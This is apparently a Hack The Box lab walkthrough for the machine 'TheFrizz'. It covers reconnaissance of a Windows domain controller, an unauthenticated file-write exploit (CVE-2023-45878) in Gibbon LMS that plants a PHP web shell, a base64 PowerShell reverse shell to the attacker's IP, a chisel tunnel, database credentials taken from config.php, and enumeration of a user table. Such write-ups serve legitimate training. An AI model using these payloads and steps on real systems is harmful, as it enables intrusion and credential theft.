https://www.hackthebox.com/machines/TheFrizz

Reconnaissance

nmap/TCP

nmap detected a bunch of open ports which is typical for a Domain Controller:

Terminal window
croc@hacker$ rustscan -a 10.10.11.60 --ulimit 5000 -- -A -T5 -oA Initial
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.60:22
Open 10.10.11.60:53
Open 10.10.11.60:80
Open 10.10.11.60:88
Open 10.10.11.60:135
Open 10.10.11.60:139
Open 10.10.11.60:389
Open 10.10.11.60:445
Open 10.10.11.60:464
Open 10.10.11.60:593
Open 10.10.11.60:636
Open 10.10.11.60:3268
Open 10.10.11.60:3269
Open 10.10.11.60:49668
Open 10.10.11.60:49670
Open 10.10.11.60:49664
Open 10.10.11.60:56803
Open 10.10.11.60:56807
Open 10.10.11.60:56817
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -oA Initial -vvv -p 22,53,80,88,135,139,389,445,464,593,636,3268,3269,49668,49670,49664,56803,56807,56817 10.10.11.60
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 05:58 EDT
Nmap scan report for 10.10.11.60
Host is up, received echo-reply ttl 127 (0.25s latency).
Scanned at 2025-03-21 05:59:14 EDT for 123s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: Education Walkerville Elementary School
|_Requested resource was http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-21 16:59:26Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
56803/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
56807/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
56817/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Timing level 5 (Insane) used
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.038 days (since Fri Mar 21 05:07:11 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 21203/tcp): CLEAN (Failed to receive data)
| Check 2 (port 49016/tcp): CLEAN (Couldn't connect)
| Check 3 (port 49509/udp): CLEAN (Timeout)
| Check 4 (port 31256/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 238.21 ms 10.10.14.1
2 238.47 ms 10.10.11.60
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.54 seconds
Raw packets sent: 107 (8.392KB) | Rcvd: 53 (3.060KB)

The hostname of the box is FRIZZDC so I added FRIZZDC.frizz.htb and frizz.htb into the hosts file.

Terminal window
croc@hacker$ sudo sed -i '$a10.10.11.60tFRIZZDC.frizz.htb frizz.htb' etc/hosts

LDAP - 389/TCP

Anonymous LDAP lookup failed, need a valid credential.

Terminal window
croc@hacker$ ldapsearch -x -H ldap://frizzdc.frizz.htb -D '' -w '' -b 'DC=frizz,DC=htb'
# extended LDIF
#
# LDAPv3
# base with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CB6, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4f7c
# numResponses: 1

SMB - 445/TCP

No luck with null authentication. A STATUS_NOT_SUPPORTED error appears indicating that the type of authentication mechanism being used is not supported.

Terminal window
croc@hacker$ nxc smb frizzdc.frizz.htb -u '' -p '' --shares
SMB 10.10.11.60 445 10.10.11.60 [*] x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB 10.10.11.60 445 10.10.11.60 [-] 10.10.11.60: STATUS_NOT_SUPPORTED
SMB 10.10.11.60 445 10.10.11.60 [-] IndexError: list index out of range
SMB 10.10.11.60 445 10.10.11.60 [-] Error enumerating shares: Error occurs while reading from remote(104)
croc@hacker$ nxc smb frizzdc.frizz.htb -u 'guest' -p '' --shares
SMB 10.10.11.60 445 10.10.11.60 [*] x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB 10.10.11.60 445 10.10.11.60 [-] 10.10.11.60guest: STATUS_NOT_SUPPORTED

HTTP - 80/TCP

Main Page

The IP address of the box, 10.10.11.60 redirected to frizzdc.frizz.htb/home. This looks like a school website for the Walkerville Elementary School.

Walkerville Elementary School (WES) site at frizzdc.frizz.htb/home/ with the banner “Take Chances! Make Mistakes! Get Messy!” and a Staff Login button

The following looks like base64 encoded text which may be interesting.

WES page with a base64 blob in the “Hacking & The Law” card alongside “Earth and Mars maintenance” and “Rainforests & Habitats”

ChatGPT decoded it for me and it says:

Staff Login - Gibbon LMS

On the Staff Login Page, I found out that the Gibbon LMS v25.0.00 is in use which is an open-source learning management system designed for educational institutions.

Gibbon LMS login page at frizzdc.frizz.htb/Gibbon-LMS/ with a notice about migrating to Azure AD SSO and Kerberos

Read the Notice carefully:

Forgot Password

On the Forgot Password page, we have username validation. Following is a failed attempt where the email address tried doesn’t exist.

Gibbon Password Reset page showing the error “Email address not set.”

On the other hand, trying out a bunch of different combinations for Ms. Fiona Frizzle i.e. Firstinitial Lastname or firstname.lastname, I found a valid username of f.frizzle@frizz.htb:

Gibbon Password Reset page showing the error “Failed to send update email.”

I indeed verified that using kerbrute as well:

Terminal window
croc@hacker$ echo "f.frizzle" > kerb
croc@hacker$ kerbrute userenum -d frizz.htb --dc 10.10.11.60 -o kerbrute.log ./kerb
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ / ___/ __ / ___/ / / / __/ _
/ , Using KDC(s):
2025/03/22 13:43:16 > 10.10.11.60:88
2025/03/22 13:43:16 > [+] VALID USERNAME: f.frizzle@frizz.htb
2025/03/22 13:43:16 > Done! Tested 1 usernames (1 valid) in 0.417 seconds

CVEs Enumeration - Gibbon v25.0.0

Initially, I looked for exploits for Gibbon v25.0.0 & found a LFI exploit but that turned out to be a rabbit hole as I didn’t find anything useful in gibbon.sql file with that.

After that, I decided to look for vulnerabilities in higher versions and found two of them:

nvd.nist.gov favicon
NVD - CVE-2023-45878
nvd.nist.gov
www.exploit-db.com favicon
Gibbon LMS < v26.0.00 - Authenticated RCE - PHP webapps Exploit
Gibbon LMS < v26.0.00 - Authenticated RCE.. webapps exploit for PHP platform
www.exploit-db.com

The latter one is an authenticated RCE. Since we don’t have valid credentials yet, let’s set it aside for now and focus on the other exploit.

Gibbon v25.0.1 - Arbitrary File Write(CVE-2023-45878)

This allows unauthenticated users to upload arbitrary files and eventually gain remote code execution on the underlying system.

herolab.usd.de favicon
usd-2023-0025 - usd HeroLab
Advisory ID: usd-2023-0025 (CVE-2023-45878) | Product: Gibbon Edu | Vulnerability Type: Arbitrary File Write (CWE-434)
herolab.usd.de

Using this PoC, I uploaded the payload <?php echo system($_GET['cmd'])?> to the file croc.php on the server. Below is the POST request and the response:

REQUEST:

Note that the base installation directory of Gibbon in our scenario is Gibbon-LMS as seen in the URL here.

POST /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
Host: frizzdc.frizz.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
img=image/png;croc,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=croc.php&gibbonPersonID=0000000001

RESPONSE:

HTTP/1.1 200 OK
Date: Sat, 22 Mar 2025 17:35:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Set-Cookie: G60fa1cd0af7be78b=la8egvbremc6h0jpv0g425bu8h; path=/; HttpOnly; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Expires: Thu, 1 Jan 1970 00:00:00 GMT
Content-Length: 8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
croc.php

The payload file has been successfully uploaded to the server.

Burp Suite: POST to /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php with an img parameter writing croc.php, response 200 returning croc.php (CVE-2023-45878 arbitrary file write)

And, just like that, we have Remote Code Execution(RCE) here:

Burp Suite: POST /Gibbon-LMS/croc.php?cmd=whoami webshell returning frizzw.webservice

Shell as w.webservice

Payload Generation

I used revshells.com in order to generate the following base64 encoded powershell reverse shell payload.

Terminal window
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAzADkAIgAsADgAOAA4ADgAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Reverse Shell

I sent the powershell payload as a parameter which upon execution will return us a reverse shell.

Browser requesting /Gibbon-LMS/croc.php?cmd=powershell -e <base64> to launch an encoded PowerShell reverse shell

And, here is our shell:

Terminal window
croc@hacker$ nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.10.14.104] from (UNKNOWN) [10.10.11.60] 55731
PS C:\xampp\htdocs\Gibbon-LMS>

Further Enumeration

System Information

Terminal window
PS C:xampphtdocsGibbon-LMS> systeminfo
Host Name: FRIZZDC
OS Name: Microsoft Windows Server 2022 Datacenter
OS Version: 10.0.20348 N/A Build 20348
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00454-70295-72962-AA557
Original Install Date: 10/29/2024, 9:13:01 AM
System Boot Time: 4/25/2025, 10:01:14 AM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory: C:Windows
System Directory: C:Windowssystem32
Boot Device: DeviceHarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,587 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 2,529 MB
Virtual Memory: In Use: 1,566 MB
Page File Location(s): N/A
Domain: frizz.htb
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: No
IP address(es)
[01]: 10.10.11.60
[02]: fe80::ea33:d9de:c23b:2a80
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Domain Users

Terminal window
PS C:xampphtdocsGibbon-LMS> Get-ADUser -Filter * -Properties DisplayName | Select-Object SamAccountName
SamAccountName
--------------
Administrator
Guest
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice

Domain Groups

Terminal window
PS C:xampphtdocsGibbon-LMS> Get-ADGroup -Filter * | % { $g=$_.Name; $m=Get-ADGroupMember $_ -EA 0; if ($m) { "`n$g`n" + ('-'*$g.Length); $m | % Name } }
Administrators
--------------
v.frizzle
Domain Admins
Enterprise Admins
Administrator
Users
-----
Domain Users
Authenticated Users
INTERACTIVE
Guests
------
Domain Guests
Guest
IIS_IUSRS
---------
IUSR
Remote Management Users
-----------------------
M.SchoolBus
f.frizzle
Domain Controllers
------------------
FRIZZDC
Schema Admins
-------------
Administrator
Enterprise Admins
-----------------
Administrator
Domain Admins
-------------
Administrator
v.frizzle
Domain Users
------------
Administrator
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice
Domain Guests
-------------
Guest
Group Policy Creator Owners
---------------------------
Administrator
Desktop Admins
Pre-Windows 2000 Compatible Access
----------------------------------
Authenticated Users
Windows Authorization Access Group
----------------------------------
ENTERPRISE DOMAIN CONTROLLERS
Denied RODC Password Replication Group
--------------------------------------
Read-only Domain Controllers
Group Policy Creator Owners
Domain Admins
Cert Publishers
Enterprise Admins
Schema Admins
Domain Controllers
krbtgt
Desktop Admins
--------------
M.SchoolBus

Interesting Files

A configuration file named config.php was spotted under the base installation directory of gibbon:

Terminal window
PS C:xampphtdocsGibbon-LMS> dir
Directory: C:xampphtdocsGibbon-LMS
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/20/2023 6:04 AM i18n
d----- 1/20/2023 6:04 AM installer
d----- 1/20/2023 6:04 AM lib
d----- 1/20/2023 6:04 AM modules
d----- 1/20/2023 6:04 AM resources
d----- 1/20/2023 6:04 AM src
d----- 1/20/2023 6:04 AM themes
d----- 3/22/2025 6:46 PM uploads
d----- 1/20/2023 6:04 AM vendor
-a---- 1/20/2023 6:04 AM 634 .htaccess
-a---- 1/20/2023 6:04 AM 197078 CHANGEDB.php
-a---- 1/20/2023 6:04 AM 103023 CHANGELOG.txt
-a---- 1/20/2023 6:04 AM 2972 composer.json
-a---- 1/20/2023 6:04 AM 294353 composer.lock
-a---- 10/11/2024 8:15 PM 1307 config.php
-a---- 1/20/2023 6:04 AM 3733 error.php
-a---- 1/20/2023 6:04 AM 1608 export.php
-a---- 1/20/2023 6:04 AM 32988 favicon.ico
-a---- 1/20/2023 6:04 AM 2277 fullscreen.php
-a---- 1/20/2023 6:04 AM 57535 functions.php
-a---- 1/20/2023 6:04 AM 5610 gibbon.php
-a---- 10/29/2024 7:27 AM 493211 gibbon.sql
-a---- 1/20/2023 6:04 AM 1254473 gibbon_demo.sql
-a---- 1/20/2023 6:04 AM 31228 index.php
-a---- 1/20/2023 6:04 AM 2356 indexExport.php
-a---- 1/20/2023 6:04 AM 813 indexFindRedirect.php
-a---- 1/20/2023 6:04 AM 12327 index_fastFinder_ajax.php
-a---- 1/20/2023 6:04 AM 2579 index_notification_ajax.php
-a---- 1/20/2023 6:04 AM 2767 index_notification_ajax_alarm.php
-a---- 1/20/2023 6:04 AM 1690 index_notification_ajax_alarmConfirmProcess.php
-a---- 1/20/2023 6:04 AM 1647 index_notification_ajax_alarmProcess.php
-a---- 1/20/2023 6:04 AM 1245 index_notification_ajax_alarm_tickUpdate.php
-a---- 1/20/2023 6:04 AM 2142 index_parentPhotoDeleteProcess.php
-a---- 1/20/2023 6:04 AM 3549 index_parentPhotoUploadProcess.php
-a---- 1/20/2023 6:04 AM 2046 index_tt_ajax.php
-a---- 1/20/2023 6:04 AM 753 keepAlive.php
-a---- 1/20/2023 6:04 AM 35113 LICENSE
-a---- 1/20/2023 6:04 AM 7589 login.php
-a---- 1/20/2023 6:04 AM 1263 logout.php
-a---- 1/20/2023 6:04 AM 3905 notifications.php
-a---- 1/20/2023 6:04 AM 2110 notificationsActionProcess.php

This file revealed a set of database credential - MrGibbonsDB / MisterGibbs!Parrot!?1.

Terminal window
PS C:xampphtdocsGibbon-LMS> Get-Content config.php
.
*/
/**
* Sets the database connection information.
* You can supply an optional $databasePort if your server requires one.
*/
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
/**
* Sets a globally unique id, to allow multiple installs on a single server.
*/
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
/**
* Sets system-wide caching factor, used to balance performance and freshness.
* Value represents number of page loads between cache refresh.
* Must be positive integer. 1 means no caching.
*/
$caching = 10;

Gibbon LMS uses mysql as its database backend according to its documentation:

docs.gibbonedu.org favicon
System Requirements | Gibbon Documentation
The Free, Flexible, Open Source School Software
docs.gibbonedu.org

Non-default Running Services

The following command shows all the running services other than the default ones. As per our expectation, mysql is running as a service here:

Terminal window
PS C:xampphtdocsGibbon-LMS> Get-CimInstance -ClassName Win32_Service | Where-Object { $_.State -eq 'Running' -and $_.PathName -notlike 'C:WindowsSystem32*' } | Select-Object Name, StartName, PathName | Sort-Object Name | Format-List
Name : ADWS
StartName : LocalSystem
PathName : C:WindowsADWSMicrosoft.ActiveDirectory.WebServices.exe
Name : Apache2.4
StartName : w.webservice@frizz.htb
PathName : "C:xamppapachebinhttpd.exe" -k runservice
Name : LSM
StartName :
PathName :
Name : mysql
StartName : w.webservice@frizz.htb
PathName : C:xamppmysqlbinmysqld --defaults-file=C:xamppmysqlbinmy.ini mysql
Name : VGAuthService
StartName : LocalSystem
PathName : "C:Program FilesVMwareVMware ToolsVMware VGAuthVGAuthService.exe"
Name : VMTools
StartName : LocalSystem
PathName : "C:Program FilesVMwareVMware Toolsvmtoolsd.exe"

According to the mysql configuration file in-use here, it is utilizing the default port of 3306/tcp:

Terminal window
PS C:xampphtdocsGibbon-LMS> Get-Content C:xamppmysqlbinmy.ini
# Example MySQL config file for small systems.
#
# This is for a system with little memory (<= 64M) where MySQL is only used
# from time to time and it's important that the mysqld daemon
# doesn't use much resources.
#
# You can copy this file to
# C:/xampp/mysql/bin/my.cnf to set global options,
# mysql-data-dir/my.cnf to set server-specific options (in this
# installation this directory is C:/xampp/mysql/data) or
# ~/.my.cnf to set user-specific options.
#
# In this file, you can use all long options that a program supports.
# If you want to know which options a program supports, run the program
# with the "--help" option.
# The following options will be passed to all MySQL clients
[client]
# password = your_password
port=3306
socket="C:/xampp/mysql/mysql.sock"
....

We can indeed verify that mysql is actively listening for incoming connections on 3306:

Terminal window
PS C:xampphtdocsGibbon-LMS> netstat -ano | findstr 3306
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 2528
TCP [::]:3306 [::]:0 LISTENING 2528
UDP 0.0.0.0:63306 *:* 1152

Port Forwarding - Chisel

You might be asking, Why Chisel?? Chisel is the most viable option in this scenario as it can operate without SSH access to the target.

Transfer to the Target

You can download the Windows version of chisel using the following commands:

Terminal window
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz
gzip -d chisel_1.10.1_windows_amd64.gz

After that, transfer it to the target using certutil.exe:

Terminal window
PS C:xampphtdocsGibbon-LMS> certutil.exe -f -urlcache -split http://10.10.14.239/chisel_1.10.1_windows_amd64 chisel_1.10.1_windows_amd64.exe
**** Online ****
000000 ...
94f000
CertUtil: -URLCache command completed successfully.

Start the Server

Our aim is to do a remote port forwarding setup. Hence, we should run the chisel server on our attack box:

Terminal window
croc@hacker$ chisel server --socks5 --reverse -p 9090
2025/04/23 05:47:27 server: Reverse tunnelling enabled
2025/04/23 05:47:27 server: Fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8=
2025/04/23 05:47:27 server: Listening on http://0.0.0.0:9090

Connect Back..

We are going to connect back to our chisel server as a client and forward the port 3306/tcp on the target to 33061/tcp on our attack box.

Terminal window
PS C:xampphtdocsGibbon-LMS> ./chisel_1.10.1_windows_amd64.exe client --fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8= 10.10.14.239:9090 R:33061:127.0.0.1:3306

Our tunnel has been established as seen below:

Terminal: chisel server --socks5 --reverse -p 9090 with reverse tunnelling enabled and session#1 forwarding R:33061=>3306

We can indeed verify it as well as we have an active connection:

Terminal window
croc@hacker$ ss -tulpn | grep 33061
tcp LISTEN 0 4096 *:33061 *:* users:(("chisel",pid=52843,fd=7))

Connect using mysql

Now, we can connect to the database using the credentials we already have:

Terminal window
croc@hacker$ mysql -h 127.0.0.1 -P 33061 -u MrGibbonsDB -p'MisterGibbs!Parrot!?1' --skip-ssl
Welcome to the MariaDB monitor. Commands end with ; or g.
Your MariaDB connection id is 1219
Server version: 10.4.32-MariaDB mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.
MariaDB [(none)]>

--skip-ssl is used to bypass encryption checks which were causing an error.

Shell as f.frizzle

Database Enumeration

I went off by listing the databases and selected the gibbon database.

Terminal window
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| gibbon |
| information_schema |
| test |
+--------------------+
3 rows in set (0.347 sec)
MariaDB [(none)]> use gibbon;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed

After that, upon listing the tables, I was bombarded with 191 entries. That’s exhausting, right? So, what I did instead is modify my SQL query to only return tables that have rows greater than 0. It’s much better now!

MariaDB [gibbon]> select table_name, table_rows from information_schema.tables where table_schema = 'gibbon' AND table_rows > 0;
+-------------------------------+------------+
| table_name | table_rows |
+-------------------------------+------------+
| gibbonaction | 357 |
| gibbonactivity | 99 |
| gibbonactivityslot | 95 |
| gibbonactivitystaff | 244 |
| gibbonalertlevel | 3 |
| gibbonattendancecode | 6 |
| gibboncountry | 240 |
| gibboncourse | 126 |
| gibboncourseclass | 242 |
| gibboncourseclassperson | 3764 |
| gibbondaysofweek | 7 |
| gibbondepartment | 13 |
| gibbondepartmentstaff | 167 |
| gibbonemailtemplate | 14 |
| gibbonexternalassessment | 3 |
| gibbonexternalassessmentfield | 128 |
| gibbonfamily | 738 |
| gibbonfamilyadult | 1448 |
| gibbonfamilychild | 910 |
| gibbonfileextension | 45 |
| gibbonfinancefeecategory | 5 |
| gibbonformfield | 104 |
| gibbonformgroup | 19 |
| gibbonformpage | 5 |
| gibbonhouse | 3 |
| gibboni18n | 46 |
| gibbonindescriptor | 3 |
| gibbonlanguage | 83 |
| gibbonlibraryitem | 11 |
| gibbonlibrarytype | 8 |
| gibbonlog | 17 |
| gibbonmedicalcondition | 27 |
| gibbonmessenger | 14 |
| gibbonmessengertarget | 42 |
| gibbonmodule | 25 |
| gibbonnotificationevent | 35 |
| gibbonoutcome | 9 |
| gibbonpermission | 482 |
| gibbonperson | 1 |
| gibbonpersonaldocumenttype | 5 |
| gibbonplannerentry | 5 |
| gibbonreportingcriteriatype | 2 |
| gibbonresource | 6 |
| gibbonresourcetag | 35 |
| gibbonrole | 5 |
| gibbonrubriccell | 54 |
| gibbonrubriccolumn | 6 |
| gibbonrubricrow | 9 |
| gibbonscale | 14 |
| gibbonscalegrade | 329 |
| gibbonschoolyear | 2 |
| gibbonschoolyearterm | 6 |
| gibbonsession | 18 |
| gibbonsetting | 313 |
| gibbonspace | 60 |
| gibbonstaff | 166 |
| gibbonstaffabsencetype | 4 |
| gibbonstudentenrolment | 391 |
| gibbonstudentnotecategory | 4 |
| gibbonttcolumn | 5 |
+-------------------------------+------------+
60 rows in set (0.306 sec)

Looking up on Google for tables where the personal information of users might be stored, I found this forum where they state gibbonPerson table to be the one.

ask.gibbonedu.org favicon
Some data is missing - Security - Gibbon Support Forum
OK, the title is a bit scary for you gibbon developers, I know but… I want to assure my school team leaders and managers that this system is safe and secure. So, I would like to point them to all the locations of the d…
ask.gibbonedu.org

Let’s see the structure of the gibbonPerson table:

Terminal window
MariaDB [gibbon]> DESC gibbonPerson;
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
| gibbonPersonID | int(10) unsigned zerofill | NO | PRI | NULL | auto_increment |
| title | varchar(5) | NO | | NULL | |
| surname | varchar(60) | NO | | | |
| firstName | varchar(60) | NO | | | |
| preferredName | varchar(60) | NO | | | |
| officialName | varchar(150) | NO | | NULL | |
| nameInCharacters | varchar(60) | NO | | NULL | |
| gender | enum('M','F','Other','Unspecified') | NO | | Unspecified | |
| username | varchar(20) | NO | UNI | NULL | |
| passwordStrong | varchar(255) | NO | | NULL | |
| passwordStrongSalt | varchar(255) | NO | | NULL | |
| passwordForceReset | enum('N','Y') | NO | | N | |
| status | enum('Full','Expected','Left','Pending Approval') | NO | | Full | |
| canLogin | enum('Y','N') | NO | | Y | |
| gibbonRoleIDPrimary | int(3) unsigned zerofill | NO | | NULL | |
| gibbonRoleIDAll | varchar(255) | NO | | NULL | |
| dob | date | YES | | NULL | |
| email | varchar(75) | YES | | NULL | |
| emailAlternate | varchar(75) | YES | | NULL | |
| image_240 | varchar(255) | YES | | NULL | |
| lastIPAddress | varchar(15) | NO | | | |
| lastTimestamp | timestamp | YES | | NULL | |
| lastFailIPAddress | varchar(15) | YES | | NULL | |
| lastFailTimestamp | timestamp | YES | | NULL | |
| failCount | int(1) | YES | | 0 | |
| address1 | mediumtext | NO | | NULL | |
| address1District | varchar(255) | NO | | NULL | |
| address1Country | varchar(255) | NO | | NULL | |
| address2 | mediumtext | NO | | NULL | |
| address2District | varchar(255) | NO | | NULL | |
| address2Country | varchar(255) | NO | | NULL | |
| phone1Type | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO | | | |
| phone1CountryCode | varchar(7) | NO | | NULL | |
| phone1 | varchar(20) | NO | | NULL | |
| phone3Type | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO | | | |
| phone3CountryCode | varchar(7) | NO | | NULL | |
| phone3 | varchar(20) | NO | | NULL | |
